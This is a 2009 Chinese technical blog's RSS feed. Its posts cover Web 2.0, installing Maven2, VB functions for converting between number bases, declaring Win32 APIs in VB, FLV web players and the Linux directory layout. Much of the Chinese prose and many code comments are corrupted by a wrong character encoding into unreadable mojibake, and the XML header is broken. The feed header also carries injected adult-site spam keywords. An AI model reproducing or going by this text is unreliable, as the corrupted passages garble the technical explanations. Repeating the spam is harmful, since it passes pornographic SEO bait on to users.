??xml version="1.0" encoding="utf-8" standalone="yes"?>久久99亚洲综合精品首页,国产成人亚洲综合无码,亚洲国产成人爱av在线播放http://m.tkk7.com/moonandsun/Welcome ,My new friends!!!zh-cnSun, 11 May 2025 00:06:03 GMTSun, 11 May 2025 00:06:03 GMT60ASP.NET-A low-level Look at the ASP.NET ArchitectureQ{载)http://m.tkk7.com/moonandsun/archive/2009/05/27/278170.htmlmoonandsunmoonandsunWed, 27 May 2009 03:38:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/05/27/278170.htmlhttp://m.tkk7.com/moonandsun/comments/278170.htmlhttp://m.tkk7.com/moonandsun/archive/2009/05/27/278170.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/278170.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/278170.html阅读全文

moonandsun 2009-05-27 11:38 发表评论
]]>
web2.0http://m.tkk7.com/moonandsun/archive/2009/05/20/271800.htmlmoonandsunmoonandsunWed, 20 May 2009 13:14:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/05/20/271800.htmlhttp://m.tkk7.com/moonandsun/comments/271800.htmlhttp://m.tkk7.com/moonandsun/archive/2009/05/20/271800.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/271800.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/271800.htmlweb2.0q个名词不止一ơ的在我眼前出现Q有时候由于它的出现过于频J,以至于我q没来得及去惻I已渐渐的在内心中接受了这个名词。初识web2.0是在dQ具体什么时候已C太清楚,当初我脑中的web2.0和我现在的认识不相同,我当时的认识只是web2.0的一个方面,甚至可以说与我们所说的web2.0不相兟뀂当时我和我的几个师兄在一起做一个web目Q当然他们常怼提到web2.0标准Qv初我不是很理解,当然现在也依然模p。从|上在了点资料。网上如是说QWEB2.0标准不是某一个标准,而是一pd标准的集合。网主要由三部分组成:l构QStructureQ、表玎ͼPresentationQ和行ؓQBehaviorQ。对应的标准也分三方面:l构化标准语a主要包括XHTML和XMLQ表现标准语a主要包括CSSQ行为标准主要包括对象模型(如W3C DOMQ、ECMAScript{。这些标准大部分由W3C赯和发布,也有一些是其他标准l织制订的标准,比如ECMAQEuropean Computer Manufacturers AssociationQ的ECMAScript标准。恍然大明白Q原来自己在很长一D|间都在ؓweb2.0标准努力。不由暗暗自喜。后来,每次上网Q看杂志Q尤其程序员Q,看报U(电脑报)Qweb2.0的字眼是满天飞。既然自p考研Qƈ且准备在计算机方面发展,我认为有必要了解web2.0?/p>


web2.0是相对于web1.0来说? 首先易用性和交互性方面来_Web1.0里,互联|内Ҏ由少数编辑h员(或站长)定制的,比如搜狐Q而在Web2.0里,每个人都是内容的供稿者。标׃web2.0d多然参与Q所以互联网内容也更加丰富和多样化,同时web2.0采用了标{(tagQ,多媒体技术,rss订阅Q在U协作等功能Q用户在使用互联|的q程也更方便、快捗就我的一个上|习惯来_我关注最多的是IT技术方面的发展Q一般我l常去csdn,cnblogs,itpub{网站,以前我看文章都是一个网站一个网站的打开Q有时候发现某个h的博客很适合自己的口呻I于是惛_注这位博ȝ最新动态,于是收藏的网址来多Q每天想把自己关注的事情看一遍很Ҏ间。现在可不一样了Q发现自q喜欢|站或博客,订阅到自qgoogle reader中,每天上网W一件事Q打开google readerQ有什么最新新闻,最新动态一目了然。都是互联网提供的便利啊?/p>

其次Qweb2.0相对于web1.0来说更突Zh的作用,在互联网的新时代Q信息是由每个h贡献出来的。各个h共同l成互联|信息源。Web2.0的灵是人。同是,Z更好的发?#8220;?#8221;的作用,web2.0的Ş式也更多样化Q出C各种各样的互联网服务Q例如博客、威客、播客、维基、P2P下蝲、社区、分享服务等{。是“?#8221;能够从互联网上得C同程度上的满뀂现如今Q用户即所谓的“?#8221;所产生的信息在互联|内容中所占的比重来大Q而且随着web2.0的发展,q一势q会不断加强。web2.0为所有互联网用户提供了一个展C我和自我实现的^台。而且随着互联|技术的发展Qweb2.0在生zM息化、办公信息化斚w的作用也会一步步提升Q是Z的生zR学习、工作更加便捷和L?/p>

MQweb2.0从某U程度上改变了h们的生活?/p>


 



moonandsun 2009-05-20 21:14 发表评论
]]>
start maven2(1)http://m.tkk7.com/moonandsun/archive/2009/05/05/269079.htmlmoonandsunmoonandsunTue, 05 May 2009 14:10:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/05/05/269079.htmlhttp://m.tkk7.com/moonandsun/comments/269079.htmlhttp://m.tkk7.com/moonandsun/archive/2009/05/05/269079.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/269079.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/269079.html        好长一D|间没有写日志Q生zdJ忙中迷茫了一D,l细x也不知道都干了些什么,于技术方面更是毫无长q,静下心来下篇文章Q安抚一下Qw的心灵?br />
        现在开始Maven2的学习?br />
        W一步不用说Q下载Maven2Q以待安装?br />
        其实我们有必要了解Maven2到底是一个干么的东西Q要使用它首先得知道它是q么的?br />
        先看看ReadMe.txt

  What is it?
  -----------

  Maven is a software project management and comprehension tool. Based on
  the concept of a Project Object Model (POM), Maven can manage a project's
  build, reporting and documentation from a central piece of information.
 
         now we got it .it is a tool which can manage and  comprehend  our project .

         pȝ需求,一般我们都能达刎ͼ忽略?/p>

 System Requirements
  -------------------

  JDK:
    1.4 or above (this is to execute Maven - it still allows you to build against 1.3
    and prior JDK's).
  Memory:
    No minimum requirement.
  Disk:
    No minimum requirement. Approximately 100MB will be used for your local repository,
    however this will vary depending on usage and can be removed and redownloaded at
    any time.
  Operating System:
    No minimum requirement. On Windows, Windows NT and above or Cygwin is required for
    the startup scripts. Tested on Windows XP, Fedora Core and Mac OS X.s
       
         下一步,安装。我看看文档?br />  
  Installing Maven
  ----------------

  1) Unpack the archive where you would like to store the binaries, eg:

    Unix-based Operating Systems (Linux, Solaris and Mac OS X)
      tar zxvf apache-maven-2.0.x.tar.gz
    Windows 2000/XP
      unzip apache-maven-2.0.x.zip

  2) A directory called "apache-maven-2.0.x" will be created.

  3) Add the bin directory to your PATH, eg:

    Unix-based Operating Systems (Linux, Solaris and Mac OS X)
      export PATH=/usr/local/apache-maven-2.0.x/bin:$PATH
    Windows 2000/XP
      set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH%

  4) Make sure JAVA_HOME is set to the location of your JDK


         我用的是winXPQ看q句可以了?br />
         set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH% 

        其中 “c:\program files\apache-maven-2.0.x\bin”为maven2解压路径?br />
        最后一步测试一下是否成功?br />
  5) Run "mvn --version" to verify that it is correctly installed.

        


        OKQit works~~~


     
















moonandsun 2009-05-05 22:10 发表评论
]]>
十进Ӟ八进Ӟ十六q制Q二q制怺转换(vb) http://m.tkk7.com/moonandsun/archive/2009/03/29/262704.htmlmoonandsunmoonandsunSun, 29 Mar 2009 02:57:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/03/29/262704.htmlhttp://m.tkk7.com/moonandsun/comments/262704.htmlhttp://m.tkk7.com/moonandsun/archive/2009/03/29/262704.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/262704.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/262704.html

十进Ӟ八进Ӟ十六q制Q二q制怺转换

' 用途:十q制转化Zq?br /> ' 输入QDec(十进制数)
' 输入数据cdQLong
' 输出QDEC_to_BIN(二进制数)
' 输出数据cdQString
' 输入的最大数?147483647,输出最大数?111111111111111111111111111111(31?)
Public Function DEC_to_BIN(Dec As Long) As String
    DEC_to_BIN = ""
    Do While Dec > 0
        DEC_to_BIN = Dec Mod 2 & DEC_to_BIN
        Dec = Dec \ 2
    Loop
End Function

' 用途:二q制转化为十q制
' 输入QBin(二进制数)
' 输入数据cdQString
' 输出QBIN_to_DEC(十进制数)
' 输出数据cdQLong
' 输入的最大数?111111111111111111111111111111(31?),输出最大数?147483647
Public Function BIN_to_DEC(ByVal Bin As String) As Long
    Dim i As Long
    For i = 1 To Len(Bin)
        BIN_to_DEC = BIN_to_DEC * 2 + Val(Mid(Bin, i, 1))
    Next i
End Function

' 用途:十六进制{化ؓ二进?br /> ' 输入QHex(十六q制?
' 输入数据cdQString
' 输出QHEX_to_BIN(二进制数)
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function HEX_to_BIN(ByVal Hex As String) As String
    Dim i As Long
    Dim B As String
    
    Hex = UCase(Hex)
    For i = 1 To Len(Hex)
        Select Case Mid(Hex, i, 1)
            Case "0": B = B & "0000"
            Case "1": B = B & "0001"
            Case "2": B = B & "0010"
            Case "3": B = B & "0011"
            Case "4": B = B & "0100"
            Case "5": B = B & "0101"
            Case "6": B = B & "0110"
            Case "7": B = B & "0111"
            Case "8": B = B & "1000"
            Case "9": B = B & "1001"
            Case "A": B = B & "1010"
            Case "B": B = B & "1011"
            Case "C": B = B & "1100"
            Case "D": B = B & "1101"
            Case "E": B = B & "1110"
            Case "F": B = B & "1111"
        End Select
    Next i
    While Left(B, 1) = "0"
        B = Right(B, Len(B) - 1)
    Wend
    HEX_to_BIN = B
End Function

' 用途:二q制转化为十六进?br /> ' 输入QBin(二进制数)
' 输入数据cdQString
' 输出QBIN_to_HEX(十六q制?
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function BIN_to_HEX(ByVal Bin As String) As String
    Dim i As Long
    Dim H As String
    If Len(Bin) Mod 4 <> 0 Then
        Bin = String(4 - Len(Bin) Mod 4, "0") & Bin
    End If
    
    For i = 1 To Len(Bin) Step 4
        Select Case Mid(Bin, i, 4)
            Case "0000": H = H & "0"
            Case "0001": H = H & "1"
            Case "0010": H = H & "2"
            Case "0011": H = H & "3"
            Case "0100": H = H & "4"
            Case "0101": H = H & "5"
            Case "0110": H = H & "6"
            Case "0111": H = H & "7"
            Case "1000": H = H & "8"
            Case "1001": H = H & "9"
            Case "1010": H = H & "A"
            Case "1011": H = H & "B"
            Case "1100": H = H & "C"
            Case "1101": H = H & "D"
            Case "1110": H = H & "E"
            Case "1111": H = H & "F"
        End Select
    Next i
    While Left(H, 1) = "0"
        H = Right(H, Len(H) - 1)
    Wend
    BIN_to_HEX = H
End Function

' 用途:十六进制{化ؓ十进?br /> ' 输入QHex(十六q制?
' 输入数据cdQString
' 输出QHEX_to_DEC(十进制数)
' 输出数据cdQLong
' 输入的最大数?FFFFFFF,输出的最大数?147483647
Public Function HEX_to_DEC(ByVal Hex As String) As Long
    Dim i As Long
    Dim B As Long
    
    Hex = UCase(Hex)
    For i = 1 To Len(Hex)
        Select Case Mid(Hex, Len(Hex) - i + 1, 1)
            Case "0": B = B + 16 ^ (i - 1) * 0
            Case "1": B = B + 16 ^ (i - 1) * 1
            Case "2": B = B + 16 ^ (i - 1) * 2
            Case "3": B = B + 16 ^ (i - 1) * 3
            Case "4": B = B + 16 ^ (i - 1) * 4
            Case "5": B = B + 16 ^ (i - 1) * 5
            Case "6": B = B + 16 ^ (i - 1) * 6
            Case "7": B = B + 16 ^ (i - 1) * 7
            Case "8": B = B + 16 ^ (i - 1) * 8
            Case "9": B = B + 16 ^ (i - 1) * 9
            Case "A": B = B + 16 ^ (i - 1) * 10
            Case "B": B = B + 16 ^ (i - 1) * 11
            Case "C": B = B + 16 ^ (i - 1) * 12
            Case "D": B = B + 16 ^ (i - 1) * 13
            Case "E": B = B + 16 ^ (i - 1) * 14
            Case "F": B = B + 16 ^ (i - 1) * 15
        End Select
    Next i
    HEX_to_DEC = B
End Function
' 用途:十q制转化为十六进?br /> ' 输入QDec(十进制数)
' 输入数据cdQLong
' 输出QDEC_to_HEX(十六q制?
' 输出数据cdQString
' 输入的最大数?147483647,输出最大数?FFFFFFF
Public Function DEC_to_HEX(Dec As Long) As String
    Dim a As String
    DEC_to_HEX = ""
    Do While Dec > 0
        a = CStr(Dec Mod 16)
        Select Case a
            Case "10": a = "A"
            Case "11": a = "B"
            Case "12": a = "C"
            Case "13": a = "D"
            Case "14": a = "E"
            Case "15": a = "F"
        End Select
        DEC_to_HEX = a & DEC_to_HEX
        Dec = Dec \ 16
    Loop
End Function

' 用途:十q制转化为八q制
' 输入QDec(十进制数)
' 输入数据cdQLong
' 输出QDEC_to_OCT(八进制数)
' 输出数据cdQString
' 输入的最大数?147483647,输出最大数?7777777777
Public Function DEC_to_OCT(Dec As Long) As String
    DEC_to_OCT = ""
    Do While Dec > 0
        DEC_to_OCT = Dec Mod 8 & DEC_to_OCT
        Dec = Dec \ 8
    Loop
End Function

' 用途:八q制转化为十q制
' 输入QOct(八进制数)
' 输入数据cdQString
' 输出QOCT_to_DEC(十进制数)
' 输出数据cdQLong
' 输入的最大数?7777777777,输出的最大数?147483647
Public Function OCT_to_DEC(ByVal Oct As String) As Long
    Dim i As Long
    Dim B As Long
    
    For i = 1 To Len(Oct)
        Select Case Mid(Oct, Len(Oct) - i + 1, 1)
            Case "0": B = B + 8 ^ (i - 1) * 0
            Case "1": B = B + 8 ^ (i - 1) * 1
            Case "2": B = B + 8 ^ (i - 1) * 2
            Case "3": B = B + 8 ^ (i - 1) * 3
            Case "4": B = B + 8 ^ (i - 1) * 4
            Case "5": B = B + 8 ^ (i - 1) * 5
            Case "6": B = B + 8 ^ (i - 1) * 6
            Case "7": B = B + 8 ^ (i - 1) * 7
        End Select
    Next i
    OCT_to_DEC = B
End Function

' 用途:二q制转化为八q制
' 输入QBin(二进制数)
' 输入数据cdQString
' 输出QBIN_to_OCT(八进制数)
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function BIN_to_OCT(ByVal Bin As String) As String
    Dim i As Long
    Dim H As String
    If Len(Bin) Mod 3 <> 0 Then
        Bin = String(3 - Len(Bin) Mod 3, "0") & Bin
    End If
    
    For i = 1 To Len(Bin) Step 3
        Select Case Mid(Bin, i, 3)
            Case "000": H = H & "0"
            Case "001": H = H & "1"
            Case "010": H = H & "2"
            Case "011": H = H & "3"
            Case "100": H = H & "4"
            Case "101": H = H & "5"
            Case "110": H = H & "6"
            Case "111": H = H & "7"
        End Select
    Next i
    While Left(H, 1) = "0"
        H = Right(H, Len(H) - 1)
    Wend
    BIN_to_OCT = H
End Function

' 用途:八q制转化Zq制
' 输入QOct(八进制数)
' 输入数据cdQString
' 输出QOCT_to_BIN(二进制数)
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function OCT_to_BIN(ByVal Oct As String) As String
    Dim i As Long
    Dim B As String
    
    For i = 1 To Len(Oct)
        Select Case Mid(Oct, i, 1)
            Case "0": B = B & "000"
            Case "1": B = B & "001"
            Case "2": B = B & "010"
            Case "3": B = B & "011"
            Case "4": B = B & "100"
            Case "5": B = B & "101"
            Case "6": B = B & "110"
            Case "7": B = B & "111"
        End Select
    Next i
    While Left(B, 1) = "0"
        B = Right(B, Len(B) - 1)
    Wend
    OCT_to_BIN = B
End Function

' 用途:八q制转化为十六进?br /> ' 输入QOct(八进制数)
' 输入数据cdQString
' 输出QOCT_to_HEX(十六q制?
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function OCT_to_HEX(ByVal Oct As String) As String
    Dim Bin As String
    Bin = OCT_to_BIN(Oct)
    OCT_to_HEX = BIN_to_HEX(Bin)
End Function

' 用途:十六进制{化ؓ八进?br /> ' 输入QHex(十六q制?
' 输入数据cdQString
' 输出QHEX_to_OCT(八进制数)
' 输出数据cdQString
' 输入的最大数?147483647个字W?br /> Public Function HEX_to_OCT(ByVal Hex As String) As String
    Dim Bin As String
    Hex = UCase(Hex)
    Bin = HEX_to_BIN(Hex)
    HEX_to_OCT = BIN_to_OCT(Bin)
End Function


VB自带函数Q?br /> 十进制{八进ӞOct(num)
十六q制转八q制Qoct("&H" & num)
十进制{十六q制Qhex(num)
八进制{十六q制Qhex("&O" & num)

十六q制转换为十q制
    Dim str As String                     
    str = Text2.Text
    Text10.Text = CLng("&H" & str)

文章出处Qhttp://blog.programfan.com/article.asp?id=11903
感谢作者的无私奉献、、、?br />



moonandsun 2009-03-29 10:57 发表评论
]]>
在VB中声明和使用API函数 http://m.tkk7.com/moonandsun/archive/2009/03/28/262630.htmlmoonandsunmoonandsunSat, 28 Mar 2009 08:46:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/03/28/262630.htmlhttp://m.tkk7.com/moonandsun/comments/262630.htmlhttp://m.tkk7.com/moonandsun/archive/2009/03/28/262630.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/262630.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/262630.html

  声明的语法是Q?

  Private Declare Function ...

  Private Declare Sub.....

  q里必须采用Private声明Q因个API函数只能被一个窗体内的程序所调用?


  如果我们的程序有多个H体构成Q而且我们需要在多个H体中用同一个API函数Q就需要在模块中声明了?

  先添加一个模块(如图C)Q?

  然后采用如下语法声明Q?

  Public Declare Function....

  Public Declare Sub....

  Public声明的含义是把API函数作ؓ一个公共函数或q程Q在一个工E中的Q何位|(包括所有的H体和模块)都能直接调用它?声明完毕我们p在程序中使用此API函数了?


  二、可采用以下几种方式使用API函数Q以SetWindowPos函数ZQ?

  Q?Q忽略函数返回值的调用Q?

    SetWindowPos Form1.hWnd, -2 ,0 ,0 ,0, 0, 3

  注意此时函数的参数是不加括号的?

  Q?QCallҎ调用Q?

    Call SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

  注意q里需要加上括P但我们不取回函数的返回倹{?

  Q?Q取得函数返回值的调用Q?

    MyLng = SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

  此时需要加上括P而且我们必须事先定义一个变量(变量的类型与函数q回值类型相同)?a class="article" target="_blank">存储API函数的返回倹{?


  三、几个问题的说明Q?


  Q?Q声明中的Lib ?Alias 是怎么回事

  一般情况下WIN32API函数L包含在WINDOWSpȝ自带的或是其它公司提供的动态连接库DLL中,而Declare语句中的Lib关键字就用来指定DLLQ动态连接库Q文件的路径Q这样VB才能扑ֈq个DLL文gQ然后才能用其中的API函数。如果我们只是列出DLL文g名而不指出其完整的路径的话QVB会自动到.EXE文g所在目录、当前工作目录、WINDOWS\SYSTEM目录、WINDOWS目录下搜寻这个DLL文g。所以如果所要用DLL文g不在上述几个目录下的话,我们应该指明其完整\径?

  Alias用于指定API函数的别名,如果我们调用的API函数要用字W串Q参C包含String型)的话QAlias关键字是必须的。这是因为在ANSI和Unicode字符集中同一API函数的名U可能是不一LQؓ了保证不出现声明错误Q我们用Alias关键字指出API函数的别名,一般来说在WIN9Xq_下我们把API函数名后加一个大写A作ؓ别名卛_?


  Q?Q常见的API参数cd的说?

  API函数的参C最常见的是长整Long型数据类型,例如API中的句柄、一些特定的帔R、函数的q回值都是此cd 的|另外几种常见的参数类型有Q整型Integer、Byte型、String型等?


  Q?Q声明中的ByVal是作什么用?

  q跟VB的参C递方式有养I在默认情况下VB是通过地址传递方式传递函数的参数、而有些API函数要求必须采用传值方式来传递函数参敎ͼq两U参C递方式是不同的,前者传递的是一个指针,而后者要求是参数真实的|。这样就会发生错误,解决的办法是在API函数参数声明的前面加上ByVal关键字,q样VB采用传值方式传递参C?


  Q?Q怎样得到完整的API函数声明

  VB自带了API文本查看器API TEXT VIEWERQ我们可以在其中扑ֈAPI函数的完整声明,然后把它_脓到程序中卛_?br />
原文地址Qhttp://www.enet.com.cn/article/2004/0312/A20040312293927.shtml

moonandsun 2009-03-28 16:46 发表评论
]]>
关于flv视频播放?/title><link>http://m.tkk7.com/moonandsun/archive/2009/03/12/259302.html</link><dc:creator>moonandsun</dc:creator><author>moonandsun</author><pubDate>Thu, 12 Mar 2009 03:50:00 GMT</pubDate><guid>http://m.tkk7.com/moonandsun/archive/2009/03/12/259302.html</guid><wfw:comment>http://m.tkk7.com/moonandsun/comments/259302.html</wfw:comment><comments>http://m.tkk7.com/moonandsun/archive/2009/03/12/259302.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.tkk7.com/moonandsun/comments/commentRss/259302.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/moonandsun/services/trackbacks/259302.html</trackback:ping><description><![CDATA[<p>        <br />         现行的网l上Q视频播攑֙很多Q嵌在网中那种Q,flv播放器更是不,但支持rtmp协议的播攑֙可是不好扑֕。虽然也有,但样式单一Q好看的不多?br />         一直以来苦苦寻觅一个漂亮的flv视频播放器(嵌在|页中那U)。好几个月过MQ一直没有结果。后来就把这事放C边去了,没有再去理会?br />        后来一直就用一个叫Vcastr2.0 的播攑֙Q播攑֙为黑Ԍ整体感觉q是不错的,但可供定制的选项不是很多?br />        再后来我发现了JW player ,官方<a >|站Qhttp://www.longtailvideo.com/</a>  Q它的可定制性比较强Q甚臛_官网上我们可以直接设计出自己喜欢的播攑֙样式Q但无论你怎样讄整体外Şq是不变?其实我看不好的就是这个播攑֙的外?。所以这中播攑֙在那是我是看不上的?br />         时代在发展啊Q当然JW player也一天天悄无声息的进步着Q今天我无意览CJW player官网Q几个月不见Q小子出息里Q它既然也能够换皮肤了,官方为我们提供了各种各样的皮肤下载:<a >http://www.longtailvideo.com/addons/skins</a> ?br />         <br /> </p> <img src ="http://m.tkk7.com/moonandsun/aggbug/259302.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/moonandsun/" target="_blank">moonandsun</a> 2009-03-12 11:50 <a href="http://m.tkk7.com/moonandsun/archive/2009/03/12/259302.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux下的文gl构及其作用http://m.tkk7.com/moonandsun/archive/2009/03/11/259015.htmlmoonandsunmoonandsunWed, 11 Mar 2009 02:13:00 GMThttp://m.tkk7.com/moonandsun/archive/2009/03/11/259015.htmlhttp://m.tkk7.com/moonandsun/comments/259015.htmlhttp://m.tkk7.com/moonandsun/archive/2009/03/11/259015.html#Feedback0http://m.tkk7.com/moonandsun/comments/commentRss/259015.htmlhttp://m.tkk7.com/moonandsun/services/trackbacks/259015.html /bin 二进制可执行命o
/dev 讑֤Ҏ文g
/etc pȝ理和配|文?
/etc/rc.d 启动的配|文件和脚本
/home 用户ȝ录的基点Q比如用户user的主目录是/home/userQ可以用~user表示
/lib 标准E序设计库,又叫动态链接共享库Q作用类似windows里的.dll文g
/sbin pȝ理命oQ这里存攄是系l管理员使用的管理程?
/tmp 公用的时文件存储点
/root pȝ理员的ȝ录(呵呵Q特权阶U)
/mnt pȝ提供q个目录是让用户临时挂蝲其他的文件系l?
/lost+found q个目录qx是空的,pȝ非正常关留?#8220;无家可归”的文Ӟwindows下叫什?chkQ就在这?
/proc 虚拟的目录,是系l内存的映射。可直接讉Kq个目录来获取系l信息?
/var 某些大文件的溢出区,比方说各U服务的日志文g
/usr 最庞大的目录,要用到的应用E序和文件几乎都在这个目录。其中包含:
/usr/x11r6 存放x window的目?
/usr/bin 众多的应用程?
/usr/sbin 用户的一些管理程?
/usr/doc linux文档
/usr/include linux下开发和~译应用E序所需要的头文?
/usr/lib 常用的动态链接库和Y件包的配|文?
/usr/man 帮助文档
/usr/src 源代码,linux内核的源代码放?usr/src/linux?
/usr/local/bin 本地增加的命?
/usr/local/lib 本地增加的库

通常情况下,Ҏ件系l所占空间一般应该比较小Q因为其中的l大部分文g都不需?
l常改动Q而且包括严格的文件和一个小的不l常改变的文件系l不Ҏ损坏?
除了可能的一个叫/ v m l i n u z标准的系l引导映像之外,根目录一般不含Q何文件。所?
其他文g在根文gpȝ的子目录中?
1. /bin目录
/ b i n目录包含了引导启动所需的命令或普通用户可能用的命?可能在引导启动后)。这?
命o都是二进制文件的可执行程? b i n是b i n a r y - -二进制的U?Q多是系l中重要的系l文件?
2. /sbin目录
/ s b i n目录cM/bin Q也用于存储二进制文件。因为其中的大部分文件多是系l管理员?
用的基本的系l程序,所以虽然普通用户必要且允许时可以用,但一般不l普通用户用?
3. /etc目录
/ e t c目录存放着各种pȝ配置文gQ其中包括了用户信息文g/ e t c / p a s s w dQ系l初始化?
? e t c / r c{。l i n u x正是*q些文g才得以正常地q行?
4. /root目录
/root 目录是超U用L目录?
5. /lib目录
/ l i b目录是根文gpȝ上的E序所需的共享库Q存放了Ҏ件系l程序运行所需的共享文
件。这些文件包含了可被许多E序׃n的代码,以避免每个程序都包含有相同的子程序的?
本,故可以得可执行文g变得更小Q节省空间?
6. /lib/modules 目录
/lib/modules 目录包含pȝ核心可加载各U模块,其是那些在恢复损坏的系l时重新?
导系l所需的模?例如|络和文件系l驱??
7. /dev目录
/ d e v目录存放了设备文Ӟ卌备驱动程序,用户通过q些文g讉K外部讑֤。比如,?
户可以通过讉K/ d e v / m o u s e来访问鼠标的输入Q就像访问其他文件一栗?
8. /tmp目录
/tmp 目录存放E序在运行时产生的信息和数据。但在引导启动后Q运行的E序最好?
/ v a r / t m p来代?tmp Q因为前者可能拥有一个更大的盘I间?
9. /boot目录
/ b o o t目录存放引导加蝲?bootstrap loader)使用的文Ӟ如l i l oQ核心映像也l常攑֜q里Q?
而不是放在根目录中。但是如果有许多核心映像Q这个目录就可能变得很大Q这时用单独的
文gpȝ会更好一些。还有一点要注意的是Q要保核心映像必须在i d e盘的前1 0 2 4柱面内?
10. /mnt目录
/ m n t目录是系l管理员临时安装( m o u n t )文gpȝ的安装点。程序ƈ不自动支持安装到
/mnt ?mnt 下面可以分ؓ许多子目录,例如/mnt/dosa 可能是用m s d o s文gpȝ的Y驱,
?mnt/exta 可能是用e x t 2文gpȝ的Y驱,/mnt/cdrom 光驱{等?
11. /proc, /usr,/var,/home目录
其他文gpȝ的安装点?



下面详细介绍Q?

/etc文gpȝ
/etc 目录包含各种pȝ配置文gQ下面说明其中的一些。其他的你应该知道它们属于哪?
E序Qƈ阅读该程序的m a nc许多网l配|文件也?etc 中?
1. /etc/rc?etc/rc.d?etc/rc?.d
启动、或改变q行U时q行的脚本或脚本的目录?
2. /etc/passwd
用户数据库,其中的域l出了用户名、真实姓名、用戯v始目录、加密口令和用户的其
他信息?
3. /etc/fdprm
软盘参数表,用以说明不同的Y盘格式。可用setfdprm q行讄。更多的信息见s e t f d p r m
的帮助页?
4. /etc/fstab
指定启动旉要自动安装的文gpȝ列表。也包括用swapon -a启用的s w a p区的信息?
5. /etc/group
cM/etc/passwd Q但说明的不是用户信息而是l的信息。包括组的各U数据?
6. /etc/inittab
init 的配|文件?
7. /etc/issue
包括用户在登录提C符前的输出信息。通常包括pȝ的一D늟说明或欢q信息。具体内
容由pȝ理员确定?
8. /etc/magic
“f i l e”的配|文件。包含不同文件格式的说明Q?#8220;f i l e”Z它猜文件类型?
9. /etc/motd
m o t d是message of the day的羃写,用户成功d后自动输出。内容由pȝ理员确定?
常用于通告信息Q如计划x旉的警告等?
10. /etc/mtab
当前安装的文件系l列表。由脚本( s c r i t p )初始化,q由mount 命o自动更新。当需要一
个当前安装的文gpȝ的列表时使用(例如df 命o)?
11. /etc/shadow
在安装了影子( s h a d o w )口o软g的系l上的媄子口令文件。媄子口令文件将/ e t c / p a s s w d
文g中的加密口oUd? e t c / s h a d o w中,而后者只对超U用? r o o t )可读。这使破译口令更?
难,以此增加pȝ的安全性?
12. /etc/login.defs
l o g i n命o的配|文件?
13. /etc/printcap
cM/etc/termcap Q但针对打印机。语法不同?
14. /etc/profile ? e t c / c s h . l o g i n?etc/csh.cshrc
d或启动时b o u r n e或c shells执行的文件。这允许pȝ理员ؓ所有用户徏立全局~省环境?
15. /etc/securetty
认安全l端Q即哪个l端允许用户( r o o t )d。一般只列出虚拟控制収ͼq样׃
可能(臛_很困?通过调制解调? m o d e m )或网l闯入系lƈ得到用户Ҏ?
16. /etc/shells
列出可以使用的s h e l l。chsh 命o允许用户在本文g指定范围内改变登录的s h e l l。提供一
台机器f t p服务的服务进Eftpd 查用户s h e l l是否列在/etc/shells 文g中,如果不是Q将不允
许该用户d?
17. /etc/termcap
l端性能数据库。说明不同的l端用什?#8220;转义序列”控制。写E序时不直接输出转义
序列(q样只能工作于特定品牌的l端)Q而是?etc/termcap 中查找要做的工作的正序列?
q样Q多数的E序可以在多数终端上q行?


/dev文gpȝ
/dev 目录包括所有设备的讑֤文g。设备文件用特定的约定命名,q在讑֤列表中说明?
讑֤文g在安装时ql生,以后可以?dev/makedev 描述? d e v / m a k e d e v.local ?
pȝ理员ؓ本地讑֤文g(或连?写的描述文稿(卛_一些非标准讑֤驱动不是标准
makedev 的一部分)。下面简要介l? d e v下一些常用文件?
1. /dev/console
pȝ控制収ͼ也就是直接和pȝq接的监视器?
2. /dev/hd
i d e盘驱动E序接口。如Q?/ d e v / h d a指的是第一个硬盘, h a d 1则是? d e v / h d a的第一?
分区。如pȝ中有其他的硬盘,则依ơؓ/ d e v / h d b? d e v / h d c? . . . . .Q如有多个分区则依次?
h d a 1、h d a 2 . . . . . .
3. /dev/sd
s c s i盘驱动E序接口。如有系l有s c s i盘Q就不会讉K/ d e v / h a dQ而会讉K/ d e v / s d a?
4. /dev/fd
软驱讑֤驱动E序。如Q?/ d e v / f d 0指系l的W一个Y盘,也就是通常所说的aQ盘Q?
/ d e v / f d 1指第二个软盘Q? . . . . .? d e v / f d 1 h 1 4 4 0则表C问驱动器1中的4 . 5高密盘?
5. /dev/st
s c s i带驱动器驱动程序?
6. /dev/tty
提供虚拟控制台支持。如Q?/ d e v / t t y 1指的是系l的W一个虚拟控制台Q?/ d e v / t t y 2则是pȝ
的第二个虚拟控制台?
7. /dev/pty
提供q程登陆伪终端支持。在q行te l n e td时就要用? d e v / p t y讑֤?
8. /dev/ttys
计算Z行接口,对于d o s来说是“ c o m 1”口?
9. /dev/cua
计算Z行接口,与调制解调器一起用的讑֤?
10. /dev/null
“黑洞”Q所有写入该讑֤的信息都消失。例如:当想要将屏幕上的输出信息隐藏h
Ӟ只要输Z息输入到/ d e v / n u l l中即可?


/usr文gpȝ
/usr 是个很重要的目录Q通常q一文gpȝ很大Q因为所有程序安装在q里?usr 里的
